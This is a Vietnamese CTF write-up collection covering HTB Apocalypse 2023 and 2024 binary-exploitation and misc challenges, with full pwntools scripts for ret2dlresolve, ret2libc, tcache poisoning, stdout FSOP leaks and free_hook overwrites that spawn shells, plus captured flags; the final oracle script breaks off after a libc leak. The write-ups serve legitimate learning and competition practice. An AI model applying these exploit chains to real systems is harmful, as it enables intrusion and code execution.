# HTB Apocalypse 2023
## Binary Exploit
- vì giải này đã qua lâu rồi nên không start instance để check flag được
### Void
- basic file check

- check ida

>**vuln()**
>---> BOF
#### way1
- nhìn qua ida có thể thấy không leak libc được do chỉ có mỗi hàm **read**
- nên hướng đi sẽ là ``ret2dl_resolve``
- ban đầu khai thác kĩ thuật đó thì bị fail nên chuyển hướng qua ``ret2csu``
- nói đúng hơn là ``ret2dl_resolve`` kết hợp với ``ret2csu``
- vì chỉ duy nhất có 1 hàm **read** nên ta tấn công vào GOT của nó (ow one_gadget vào read@GOT)

>các địa chỉ one_gadget

> có hàm ``__libc_csu_init``

>tận dụng các pop để setup cho hàm **read**
- **read** sẽ cần tham chiếu đến $rbp và $rbx
- tìm gadget:

> ở địa chỉ tô trắng đó sẽ có thể thay đổi thanh ghi dựa vào $rbp và $ebx
- ta tính toán:
- nó sẽ cộng 4 byte từ địa chỉ ``$ebx`` vào ``[$rbp - 0x3d]``
- thế thì ta sẽ đưa ``one_gadget - libc.sym['read']`` vào $rbx để nó phân giải (có thể là số âm nên ta để sign=True)
- ở $rbp sẽ là read@GOT+0x3d để bù trừ cho gadget add ở trên
- 4 thanh ghi r12 -> r15 padding cho 0

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./void',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
p = process(exe.path)
# p = remote('178.62.9.10',31314)
# gdb.attach(p,gdbscript='''
# b*vuln+25
# b*vuln+32
# c
# ''')
# input()
csu = 0x004011b2
off_to_og = 0xc961a - libc.sym['read'] #one_gadget - read
add = 0x0000000000401108 #add
payload = b'a'*64 + b'b'*8
payload += p64(csu)
payload += p64(off_to_og, sign=True) #pop rbx
payload += p64(exe.got['read']+0x3d) #pop rbp (plus 0x3d because gadget add)
payload += p64(0)*4 #pop r12 r13 r14 r15
payload += p64(add) #gadget add
payload += p64(exe.sym['read'])
p.send(payload)
p.interactive()
#HTB{r3s0lv3_th3_d4rkn355}
```
>HTB{r3s0lv3_th3_d4rkn355}
#### way2
- sử dụng thư viện pwntools

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./void',checksec=False)
p = process(exe.path)
dlresolve = Ret2dlresolvePayload(exe, symbol='system', args=['/bin/sh\0'])
rop = ROP(exe)
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0])
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
pl = b'a'*72 + raw_rop
p.send(pl)
sleep(1)
p.send(dlresolve.payload)
p.interactive()
#HTB{r3s0lv3_th3_d4rkn355}
```
>HTB{r3s0lv3_th3_d4rkn355}
#### way3
- sau khi nghiệm lại thì cách ret2dlresolve thuần tuý vẫn giải được
- đầu tiên ta cần stack pivot
```python
#stack pivot
payload = b"a"*64
payload += p64(rw_section) #rbp
payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0)
payload += p64(exe.plt['read'])
payload += p64(leave_ret)
p.send(payload)
```
- tiếp theo sẽ setup structure ([xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#RET2DL_RESOLVE))
- note lại các địa chỉ cần thiết

> JMPREL = 0x400430
> SYMTAB = 0x400330
> STRTAB = 0x400390
- tính toán các biến sau khi return của ``leave_ret``:
- cần **system('/bin/sh')** nên setup trước $rdi là địa chỉ tới chuỗi '/bin/sh' (padding 0x8 do reuturn của ``leave_ret``)
- $rsi = 0 (còn $rdx không có gadget nên không setup được)
- sau đó là ``push`` **link_map** và **relog_arg**
- tính lại địa chỉ của :
- fake_JMPREL = JMPREL+relog_arg*24
- fake_SYMTAB = SYMTAB+(r_info >> 32)*24
- fake_STRTAB = địa chỉ trỏ đến 'system\0\0'

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./void',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*vuln+25
b*vuln+32
c
''')
input()
if args.REMOTE:
p = remote('178.62.9.10',31314)
else:
p = process(exe.path)
leave_ret = 0x0000000000401141
pop_rbp = 0x0000000000401109
pop_rdi = 0x00000000004011bb
pop_rsi_r15 = 0x00000000004011b9
rw_section = 0x404a00
# GDB()
#stack pivot
payload = b"a"*64
payload += p64(rw_section)
payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0)
payload += p64(exe.plt['read'])
payload += p64(leave_ret)
p.send(payload)
JMPREL = 0x400430
SYMTAB = 0x400330
STRTAB = 0x400390
link_map = 0x0000000000401020
SYMTAB_addr = 0x404a40
JMPREL_addr = 0x404a68
STRTAB_addr = 0x404a78
symbol_number = int((SYMTAB_addr - SYMTAB)/24)
reloc_arg = int((JMPREL_addr - JMPREL)/24)
st_name = STRTAB_addr - STRTAB
log.info("symbol_number: " + hex(symbol_number))
log.info("reloc_arg: " + hex(reloc_arg))
log.info("st_name: " + hex(st_name))
st_info = 0x12
st_other = 0
st_shndx = 0
st_value = 0
st_size = 0
SYMTAB_struct = p32(st_name) #0x404a40
SYMTAB_struct += p8(st_info)
SYMTAB_struct += p8(st_other)
SYMTAB_struct += p16(st_shndx)
SYMTAB_struct += p64(st_value) #0x404a48
SYMTAB_struct += p64(st_size) #0x404a50
r_offset = exe.got['read']
r_info = (symbol_number << 32) | 7
r_addend = 0
JMPREL_struct = p64(r_offset) #0x404a68
JMPREL_struct += p64(r_info) #0x404a70
payload = flat(
b'A'*8, #a00 #padding
pop_rsi_r15, #a08
0, 0, #a10 #a18
pop_rdi, #a20
0x404a80, #a28 #string /bin/sh
link_map, #a30 #link_map
reloc_arg, #a38 #reloc_arg
SYMTAB_struct, #a40 #a48 #a50
0, 0, #a58 #a60 #padding
JMPREL_struct, #a68 #a70
b'system\0\0', #a78
b'/bin/sh\0' #a80
)
p.send(payload)
p.interactive()
#HTB{r3s0lv3_th3_d4rkn355}
```
>HTB{r3s0lv3_th3_d4rkn355}
---
### Pandora's Box
- ret2libc thôi nên không wu

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./pb_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
#p = process(exe.path)
p = remote('64.227.36.176',31013)
pop_rdi = 0x000000000040142b
ret = 0x0000000000401016
payload = b'2'
p.sendlineafter(b'>> ',payload)
payload = b'A'*56
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendlineafter(b'library: ',payload)
p.recvuntil(b'you!\n\n')
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info("Lib leak: " + hex(libc_leak))
log.info("Lib base: " + hex(libc.address))
payload = b'2'
p.sendlineafter(b'>> ',payload)
payload = b'A'*56
payload += p64(ret)
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
p.sendlineafter(b'library: ',payload)
p.interactive()
#HTB{r3turn_2_P4nd0r4?!}
```
>HTB{r3turn_2_P4nd0r4?!}
---
### Labyrinth
- ret2win thôi nên không wu

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./labyrinth',checksec=False)
# p = process(exe.path)
p = remote('64.227.41.83',31721)
payload = b'69'
#input()
p.sendlineafter(b'>> ',payload)
payload = b'A'*56
payload += p64(exe.sym['escape_plan']+1)
p.sendlineafter(b'>> ',payload)
p.interactive()
#HTB{3sc4p3_fr0m_4b0v3}
```
>HTB{3sc4p3_fr0m_4b0v3}
### Math Door
- basic file check

- check ida

>**main()**

>**create()**
>mỗi lần sẽ tạo node với size cố định là 0x18
>ngoài ra có biến **counter** dùng để tránh ta **malloc()** quá 64 lần

>**delete()**
>dùng để **free()** node
>nhưng lại không xoá ptr sau khi **free()** ---> DBF | UAF
>chỉ check khi **free()** 1 node có idx vượt cả **counter**

>**math()**
>hàm nhằm mục đích thay đổi giá trị trong ptr 1 node
>nhưng cách để thay đổi là cộng giá trị mới chứ không ghi đè
>===> trigger UAF để thay đổi giá trị fw_pointer sau khi **free()**
#### analyse
- đầu tiên ta tạo 3 chunk 0 1 2
- sau đó **delete(0)** và **delete(1)**
```python
add() #0 #2a0
add() #1 #2c0
add() #2 #2e0
delete(0)
delete(1)
#[1] -> [0] :2c0 ->2a0
```
- lúc này trong vis_heap_chunks như sau:

- nếu ta sửa dụng hàm **math()** để chỉnh fw_pointer của chunk 1 (đang là 2a0) thành 2b0 thì sao?
> sửa thành 2c0 cho tạo loop thì hơi vô dụng (vì malloc chỉ 1 size duy nhất)
```python
math(1,p64(0x10)) #2c0 ->2b0
```
- lúc này trong bin sẽ tạo fake_chunk nếu ta **add()** thêm chunk mới thứ 4
```python
add() #3 #2c0 reused
add() #4 #2b0 fake_chunk 2c0 #VICTIM
```
- và fake_chunk đó ta có thể dễ dàng set fake_size
```python
math(4,p64(0)+p64(0x21)) #2c0 2c8 #resize 3
#extra chunk 3 from 4
#fw_pointer 4(2b0) -> 1(2c0) and 4(2b0) -> 3(2c0)
```
- và dễ dàng có 2 chunk 1 và 3 sẽ bị làm 'nạn nhân'

> - note: chunk4 sẽ làm trung gian điều khiển chunk1 và chunk3
#### leak libc
- vì trong ida cho thấy khả năng tạo chunk có size lớn hơn 0x18 là điều không thể, nên ta sẽ fake count(=7) của 1 chunk có size 0xa0 (không lọt vào fastbin) bằng cách trỏ ngược lại [tcache perthread struct](https://hackmd.io/@trhoanglan04/SkrdeRm9n#tcache_perthread_struct)
- nhưng vì hàm **math()** chỉ có chức năng '+=' nên ta sẽ tricky 1 chút về khả năng IOF của 1 biến
- tiếp tục **add()** thêm 2 lần để khai thác cái mới rồi **delete()**
```python
add() #5 #300
add() #6 #320
delete(2)
delete(5)
#[5] -> [2] :300 -> 2e0
```

>hiện tại ta sẽ thay đổi từ 2e0 xuống 010
>vì mục tiêu ta fake_chunk là ngay tcache_counts
>4 byte tô đó là count của size 0xa0
```python
payload = p64(0xffffffffffffffff - (0x2d0 - 1))
#sub 2d0 from 2e0 to 10 -> point at count of tcache perthread struct
#but in func, only plus value
#so we sub by adding highest value (0xff..ff) and sub the value we want
#moreover plus 1 to align exactly position
math(5,payload) #300 -> 010
```
- tiếp tục **add()** 2 lần để moi chunk trước đó và chunk muốn fake, sau đó ta cộng lên 7 thôi
```python
add() #7 #300
add() #8 #010
math(8,p64(0)+p64(0)+p64(0x7)) #add count=7 for size 0xa0
```
> -note: chunk8 dùng để change count trong tcache perthread struct
- lúc này coi như đã fake thành công count cho size 0xa0, vấn đề nữa là làm sao lần **free()** tiếp theo sẽ chui vào ubin ===> cần prev_size cho next_chunk
> nếu không sẽ bị lỗi quen thuộc là 'conruption (!prev)'
- ta cần **add()** lượng vừa đủ để đến next_chunk từ chunk victim

```python
#wanna attack chunk1 (or chunk3) -> set prev next_chunk
#2c0+a0=360
add() #9 #340
add() #10 #360 #chunk1 + 0xa0 (next_chunk)
add() #11 #380
add() #12 #3a0
add() #13 #3c0
add() #14 #3e0
add() #15 #400
```
>đồng thời **add()** thêm 5 lần để thuận tiện cho lần khai thác kế tiếp (mess up heap bins)
- tiếp tục **delete(10)** và **delete(1)** (hay **delete(3)** đều được)
>vì căn bản chunk1 và chunk3 đều bị ảnh hưởng
- rồi căn chỉnh size cho victim thành 0xa1
```python
delete(10)
delete(1)
#[1] -> [10] :2c0->360
math(4,p64(0)+p64(0x80)) #update size chunk1 from 0x21 -> 0xa1
delete(1) #ubin
```
- đến bước này ta đã thành công đưa 1 chunk vào ubin
- việc tiếp theo để leak libc là dựa vào hàm **puts**
- nhưng lại không có chức năng nào trong các function có quyền in ra data trong đó, nên ta sẽ nghĩ đến thay đổi giá trị bên trong ``stdout``
- về cấu trúc của ``_IO_2_1_stdout_`` ta cần:
- ``_IO_2_1_stdout_->flags`` = 0x1800
- ``_IO_2_1_stdout_->_IO_write_ptr`` > ``_IO_2_1_stdout_->_IO_write_base``
> [xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#FSOP)
- đầu tiên ta có libc trong ubin là một **main_area**, ta sẽ cộng thêm 1 offset sao cho trỏ đến ``_IO_2_1_stdout_``
> bằng 1 lí do khó-hiểu-nào-đó gdb lại không thể đọc IO_FILE

>offset=0xac0
```python
math(1,p64(0xac0)) #change main_area to stdout
```
##### ``_IO_2_1_stdout_->flags`` = 0x1800
- ta xem qua struct của nó

>lấy ví dụ ở bài iofile_vtable
>flags ở địa chỉ đầu tiên
- tiếp tục **add()** 2 lần để sửa ``_IO_2_1_stdout_->flags`` thành 0x1800

>cần thay đổi 0xfbad2887 thành 0x1800
```python
add() #16
add() #17
payload = p64(0xffffffffffffffff-(0xfbad2887-1) + 0x1800)
#change flags to 0x1800
math(17, payload)
```
##### ``_IO_write_ptr`` > ``_IO_write_base``
- dựa vào struct trên cho thấy vị trí ``_IO_write_ptr`` là cách ``_IO_2_1_stdout_`` 1 đoạn 0x28
- để thay đổi nội dung con trỏ tại đó ta cần đến 3 chunk (A->write_ptr->data)
- cứ **add()** trước 2 cái rồi fake count lên làm 3 thông qua chunk8
- sửa linked list trỏ về stdout->write_ptr
```python
delete(11)
delete(12)
#[12] -> [11] :3a0->380 (count=2)
math(8,p64(0x1)) #add count 0x20 from 2 to 3
payload = p64(0xffffffffffffffff-(0xc0-1)) #380-a0=2c0
math(12,payload) #modify [12] -> [1] :3a0->2c0
#tcachebins 0x20[3]: [12]->[1]->stdout
math(1,p64(0x28)) #stdout+0x28=_IO_write_ptr
# GDB()
add() #18
add() #19
add() #20 point _IO_write_ptr
math(20,p64(0x10)) #make ptr > base
```
- lúc này khi trỏ về hàm **main()** gọi **puts** in ra menu thì sẽ leak được libc

```python
p.recv(5)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x1ee7e0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
```
#### ow free_hook
- có libc base tiếp tục tạo count lên 3 để change data (A->free_hook->0)

>offset=0x1724
```python
delete(13)
delete(14)
#[14] -> [13] :3e0->3c0 (count=2)
math(8,p64(0x1)) #add count 0x20 from 2 to 3
math(13,p64(0x1724))
add() #21
add() #22
add() #23 point free_hook
math(0,b'/bin/sh\0')
math(23,p64(libc.sym['system']))
delete(0) #get shell
```
#### get shell

- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('./math-door_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('./ld-2.31.so',checksec=False)
ld = ELF('./ld.so',checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*create+54
b*delete+82
b*math+320
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('',)
else:
p = process(exe.path)
def add():
sla(b'Action: ',b'1')
def delete(idx):
sla(b'Action: ',b'2')
sla(b'index:',str(idx))
def math(idx,data):
sla(b'Action: ',b'3')
sla(b'index:',str(idx))
sa(b'hieroglyph:',data)
add() #0 #2a0
add() #1 #2c0
add() #2 #2e0
delete(0)
delete(1)
#[1] -> [0] :2c0 ->2a0
math(1,p64(0x10)) #2c0 ->2b0
add() #3 #2c0 reused
add() #4 #2b0 fake_chunk 2c0 #VICTIM
math(4,p64(0)+p64(0x21)) #2c0 2c8 #resize 3
#extra chunk 3 from 4
#fw_pointer 4(2b0) -> 1(2c0) and 4(2b0) -> 3(2c0)
add() #5 #300
add() #6 #320
delete(2)
delete(5)
#[5] -> [2] :300 -> 2e0
payload = p64(0xffffffffffffffff - (0x2d0 - 1))
#sub 2d0 from 2e0 to 10 -> point at count of tcache perthread struct
#but in func, only plus value
#so we sub by adding highest value (0xff..ff) and sub the value we want
#moreover plus 1 to align exactly position
math(5,payload) #300 -> 010
add() #7 #300
add() #8 #010
math(8,p64(0)+p64(0)+p64(0x7)) #add count=7 for size 0xa0
#wanna attack chunk1 (or chunk3) -> set prev next_chunk
#2c0+a0=360
add() #9 #340
add() #10 #360 #chunk1 + 0xa0 (next_chunk)
add() #11 #380
add() #12 #3a0
add() #13 #3c0
add() #14 #3e0
add() #15 #400
delete(10)
delete(1)
#[1] -> [10] :2c0->360
math(4,p64(0)+p64(0x80)) #update size chunk1 from 0x21 -> 0xa1
delete(1) #ubin
math(1,p64(0xac0)) #change main_area to stdout
add() #16
add() #17
payload = p64(0xffffffffffffffff-(0xfbad2887-1) + 0x1800)
#change flags to 0x1800
math(17, payload)
delete(11)
delete(12)
#[12] -> [11] :3a0->380 (count=2)
math(8,p64(0x1)) #add count 0x20 from 2 to 3
payload = p64(0xffffffffffffffff-(0xc0-1)) #380-a0=2c0
math(12,payload) #modify [12] -> [1] :3a0->2c0
#tcachebins 0x20[3]: [12]->[1]->stdout
math(1,p64(0x28)) #stdout+0x28=_IO_write_ptr
# GDB()
add() #18
add() #19
add() #20 point _IO_write_ptr
math(20,p64(0x10)) #make ptr > base
p.recv(5)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x1ee7e0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
delete(13)
delete(14)
#[14] -> [13] :3e0->3c0 (count=2)
math(8,p64(0x1)) #add count 0x20 from 2 to 3
math(13,p64(0x1724))
add() #21
add() #22
add() #23 point free_hook
math(0,b'/bin/sh\0')
math(23,p64(libc.sym['system']))
delete(0) #get shell
p.interactive()
#HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!}
```
>HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!}
---
## MISC
### Janken
- basic file check

- check ida

>**main()**
> in menu rồi chơi oẳn tù tì
> 100 điểm in flag

>**game()**
> generate time để ra kéo, búa hoặc bao
> thắng +1 điểm

>**get_prize()**
>đọc flag.txt

> chạy local nên time bằng giờ hệ thống luôn
> chạy sever sẽ có thể bị delay nên thêm dòng sleep(1)
- script:
```python
#!/usr/bin/python3
from pwn import *
import random
import time
from ctypes import *
context.binary = exe = ELF('./janken',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")
p = process(exe.path)
# p = remote('178.62.9.10',30284)
keo = b'scissors'
bua = b'rock'
bao = b'paper'
p.sendlineafter(b'>> ',b'1')
for i in range(0,99):
try:
giay = int(time.time())
elf.srand(giay)
so = elf.rand()
check = so % 3
if check == 0:
payload = bao
elif check == 1:
payload = bua
elif check == 2:
payload = keo
print(payload)
# time.sleep(1)
p.sendlineafter(b'>>',payload)
except:
print(i)
break
p.interactive()
#HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}
```
>HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}
---
# HTB Apocalypse 2024
- wu hơi trễ nên sẽ k có hình flag
## Binary Exploit
### deathnote
- basic file check

- check ida

>**main()**

>**add()**

>**delete()**

>**show()**

>**_()**
#### analyse
- 3 chức năng chính: add, delete, show
- 1 hàm 'backdoor' cho phép trigger 1 note với tham số là con trỏ tiếp theo
- thế idea ta trigger **system('/bin/sh')**
- đầu tiên cần leak libc
> fill up tcache
> add() more chunk have another size avoid consolidate
> ubin ---> show()
- ở hàm "backdoor" nó lấy chunk đầu tiên dạng chuỗi hex
>nhìn ida cách nó lọc byte '0x'
- chunk thứ 2 là "/bin/sh" rồi gọi 'backdoor' lên là xong
#### get shell

- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./deathnote_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*show+166
b*add+313
b*delete+197
b*_+140
b*_+276
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('94.237.60.37',41985)
else:
p = process(exe.path)
def add(size,page,data):
sla(b'\xf0\x9f\x92\x80\x20',b'1')
sla(b'request?',str(size))
sla(b'Page?',str(page))
sa(b'victim:',data)
p.recvline()
def delete(page):
sla(b'\xf0\x9f\x92\x80\x20',b'2')
sla(b'Page?',str(page))
def show(page):
sla(b'\xf0\x9f\x92\x80\x20',b'3')
sla(b'Page?',str(page))
def backdoor():
sla(b'\xf0\x9f\x92\x80\x20',b'42')
size = 0x80
for i in range(8):
add(size,i,b'a')
add(0x10,8,b'b')
for i in range(8):
delete(i)
GDB()
show(7)
p.recvuntil(b'content: ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x21ace0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
system = libc.sym['system']
add(size,0,hex(system))
add(size,1,b'/bin/sh\0')
backdoor()
p.interactive()
#HTB{0m43_w4_m0u_5h1nd31ru~uWu}
```
>HTB{0m43_w4_m0u_5h1nd31ru~uWu}
### oracle
- source:
```c
// gcc oracle.c -o oracle -fno-stack-protector
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 9001
#define MAX_START_LINE_SIZE 1024
#define MAX_PLAGUE_CONTENT_SIZE 2048
#define MAX_HEADER_DATA_SIZE 1024
#define MAX_HEADERS 8
#define MAX_HEADER_LENGTH 128
#define VIEW "VIEW"
#define PLAGUE "PLAGUE"
#define BAD_REQUEST "400 Bad Request - you can only view competitors or plague them. What else would you want to do?\n"
#define PLAGUING_YOURSELF "You tried to plague yourself. You cannot take the easy way out.\n"
#define PLAGUING_OVERLORD "You have committed the greatest of sins. Eternal damnation awaits.\n"
#define NO_COMPETITOR "No such competitor %s exists. They may have fallen before you tried to plague them. Attempted plague: "
#define CONTENT_LENGTH_NEEDED "You need to specify the length of your plague description. How else can I help you?\n"
#define RANDOMISING_TARGET "Randomising a target competitor, as you wish...\n"
struct PlagueHeader {
char key[MAX_HEADER_LENGTH];
char value[MAX_HEADER_LENGTH];
};
struct PlagueHeader headers[MAX_HEADERS];
int client_socket;
char action[8];
char target_competitor[32];
char version[16];
void handle_request();
void handle_view();
void handle_plague();
void parse_headers();
char *get_header();
int is_competitor();
int main() {
int server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket == -1) {
perror("Failed to create socket!");
exit(EXIT_FAILURE);
}
// Set up the server address struct
struct sockaddr_in server_address;
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = INADDR_ANY;
server_address.sin_port = htons(PORT);
// Bind the socket to the specified address and port
if (bind(server_socket, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) {
perror("Socket binding failed");
close(server_socket);
exit(EXIT_FAILURE);
}
// Listen for incoming connections
if (listen(server_socket, 5) == -1) {
perror("Socket listening failed");
close(server_socket);
exit(EXIT_FAILURE);
}
printf("Oracle listening on port %d\n", PORT);
while(1) {
client_socket = accept(server_socket, NULL, NULL);
puts("Received a spiritual connection...");
if (client_socket == -1) {
perror("Socket accept failed");
continue;
}
handle_request();
}
return 0;
}
void handle_request() {
// take in the start-line of the request
// contains the action, the target competitor and the oracle version
char start_line[MAX_START_LINE_SIZE];
char byteRead;
ssize_t i = 0;
for (ssize_t i = 0; i < MAX_START_LINE_SIZE; i++) {
recv(client_socket, &byteRead, sizeof(byteRead), 0);
if (start_line[i-1] == '\r' && byteRead == '\n') {
start_line[i-1] == '\0';
break;
}
start_line[i] = byteRead;
}
sscanf(start_line, "%7s %31s %15s", action, target_competitor, version);
parse_headers();
// handle the specific action desired
if (!strcmp(action, VIEW)) {
handle_view();
} else if (!strcmp(action, PLAGUE)) {
handle_plague();
} else {
perror("ERROR: Undefined action!");
write(client_socket, BAD_REQUEST, strlen(BAD_REQUEST));
}
// clear all request-specific values for next request
memset(action, 0, 8);
memset(target_competitor, 0, 32);
memset(version, 0, 16);
memset(headers, 0, sizeof(headers));
}
void handle_view() {
if (!strcmp(target_competitor, "me")) {
write(client_socket, "You have found yourself.\n", 25);
} else if (!is_competitor(target_competitor)) {
write(client_socket, "No such competitor exists.\n", 27);
} else {
write(client_socket, "It has been imprinted upon your mind.\n", 38);
}
}
void handle_plague() {
if(!get_header("Content-Length")) {
write(client_socket, CONTENT_LENGTH_NEEDED, strlen(CONTENT_LENGTH_NEEDED));
return;
}
// take in the data
char *plague_content = (char *)malloc(MAX_PLAGUE_CONTENT_SIZE);
char *plague_target = (char *)0x0;
if (get_header("Plague-Target")) {
plague_target = (char *)malloc(0x40);
strncpy(plague_target, get_header("Plague-Target"), 0x1f);
} else {
write(client_socket, RANDOMISING_TARGET, strlen(RANDOMISING_TARGET));
}
long len = strtoul(get_header("Content-Length"), NULL, 10);
if (len >= MAX_PLAGUE_CONTENT_SIZE) {
len = MAX_PLAGUE_CONTENT_SIZE-1;
}
recv(client_socket, plague_content, len, 0);
if(!strcmp(target_competitor, "me")) {
write(client_socket, PLAGUING_YOURSELF, strlen(PLAGUING_YOURSELF));
} else if (!is_competitor(target_competitor)) {
write(client_socket, PLAGUING_OVERLORD, strlen(PLAGUING_OVERLORD));
} else {
dprintf(client_socket, NO_COMPETITOR, target_competitor);
if (len) {
write(client_socket, plague_content, len);
write(client_socket, "\n", 1);
}
}
free(plague_content);
if (plague_target) {
free(plague_target);
}
}
void parse_headers() {
// first input all of the header fields
ssize_t i = 0;
char byteRead;
char header_buffer[MAX_HEADER_DATA_SIZE];
while (1) {
recv(client_socket, &byteRead, sizeof(byteRead), 0);
// clean up the headers by removing extraneous newlines
if (!(byteRead == '\n' && header_buffer[i-1] != '\r'))
header_buffer[i] = byteRead;
if (!strncmp(&header_buffer[i-3], "\r\n\r\n", 4)) {
header_buffer[i-4] == '\0';
break;
}
i++;
}
// now parse the headers
const char *delim = "\r\n";
char *line = strtok(header_buffer, delim);
ssize_t num_headers = 0;
while (line != NULL && num_headers < MAX_HEADERS) {
char *colon = strchr(line, ':');
if (colon != NULL) {
*colon = '\0';
strncpy(headers[num_headers].key, line, MAX_HEADER_LENGTH);
strncpy(headers[num_headers].value, colon+2, MAX_HEADER_LENGTH); // colon+2 to remove whitespace
num_headers++;
}
line = strtok(NULL, delim);
}
}
char *get_header(char *header_name) {
// return the value for a specific header key
for (ssize_t i = 0; i < MAX_HEADERS; i++) {
if(!strcmp(headers[i].key, header_name)) {
return headers[i].value;
}
}
return NULL;
}
int is_competitor(char *name) {
// don't want the user of the Oracle to be able to plague Overlords!
if (!strncmp(name, "Overlord", 8))
return 0;
return 1;
}
```
#### analyse
- trong hàm `parse_headers()` có bug sau
```c
void parse_headers() {
// first input all of the header fields
ssize_t i = 0;
char byteRead;
char header_buffer[MAX_HEADER_DATA_SIZE];
while (1) {
recv(client_socket, &byteRead, sizeof(byteRead), 0);
// clean up the headers by removing extraneous newlines
if (!(byteRead == '\n' && header_buffer[i-1] != '\r'))
header_buffer[i] = byteRead;
if (!strncmp(&header_buffer[i-3], "\r\n\r\n", 4)) {
header_buffer[i-4] == '\0';
break;
}
i++;
}
//....
}
```
>infinite overflow
- possible leak funcion : ``handle_plague()``
```c
void handle_plague() {
//...
long len = strtoul(get_header("Content-Length"), NULL, 10);
if (len >= MAX_PLAGUE_CONTENT_SIZE) {
len = MAX_PLAGUE_CONTENT_SIZE-1;
}
recv(client_socket, plague_content, len, 0);
if(!strcmp(target_competitor, "me")) {
write(client_socket, PLAGUING_YOURSELF, strlen(PLAGUING_YOURSELF));
} else if (!is_competitor(target_competitor)) {
write(client_socket, PLAGUING_OVERLORD, strlen(PLAGUING_OVERLORD));
} else {
dprintf(client_socket, NO_COMPETITOR, target_competitor); // BUG
if (len) {
write(client_socket, plague_content, len); //BUG
write(client_socket, "\n", 1);
}
}
free(plague_content); //smallbin
if (plague_target) {
free(plague_target);
}
}
```
- vì malloc size khá lớn nên ta sẽ free rồi request cái mới, sẽ có smallbin
```c
#define MAX_PLAGUE_CONTENT_SIZE 2048
```
> leak libc ở lần request thứ 2
- tuy nhiên ta sẽ để ý tránh bị topchunk consolidate ---> cần 1 chunk ngăn cách với topchunk
>setup `Plague-Target` để malloc(0x40)
- để thoát 1 request, ta gửi các byte vô dụng là được
#### find offset libc base via gdbserver
- vì challenge kiểu tạo socket nên khó mà gdb như bình thường
- ta sẽ đọc flags và run `./build-docker.sh`
```bash
$ cat build-docker.sh
###
-p 9090:9090 --cap-add=SYS_PTRACE
###
$ docker exec -it oracle /bin/bash
ctf@c05c86d3e00d:~$ gdbserver :9090 --attach $(pidof oracle)
Attached; pid = 7
Listening on port 9090
```
- offset = 0x1ecbe0
```bash
$ docker cp oracle:/usr/lib/x86_64-linux-gnu/libc-2.31.so .
```
#### ROP
- đặt breakpoint ở ret 1 hàm mình muốn rồi tìm offset
> ở `parse_headers` hay `handle_view` đều được
- lúc này, ta cần call **dup2** để mở stdin và stdout trên server rồi call **system**
#### get flag
- script:
```py
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF("./oracle_patched")
p = process([exe.path])
libc = ELF("libc-2.31.so")
# gdb.attach(p, gdbscript = '''
# c
# ''')
# input()
p = remote("94.237.55.138", 38549)
# p = remote('0', 9001)
payload = b'PLAGUE target_competitor: competitor123\r'
p.sendline(payload)
payload = b'Content-Length: 8\r\nPlague-Target: 8\r\n\r\n'
p.send(payload)
p.send(b'\xe0')
p = remote("94.237.55.138", 38549)
# p = remote('0', 9001)
payload = b'PLAGUE target_competitor: competitor123\r'
p.sendline(payload)
payload = b'Content-Length: 8\r\nPlague-Target: 8\r\n\r\n'
p.send(payload)
p.send(b'\xe0')
p.recvuntil(b'plague: ')
libc.address = u64(p.recv(6) + b'\0\0') - 0x1ecbe0
log.info("libc base: " + hex(libc.address))
p = remote("94.237.55.138", 38549)
# p = remote('0', 9001)
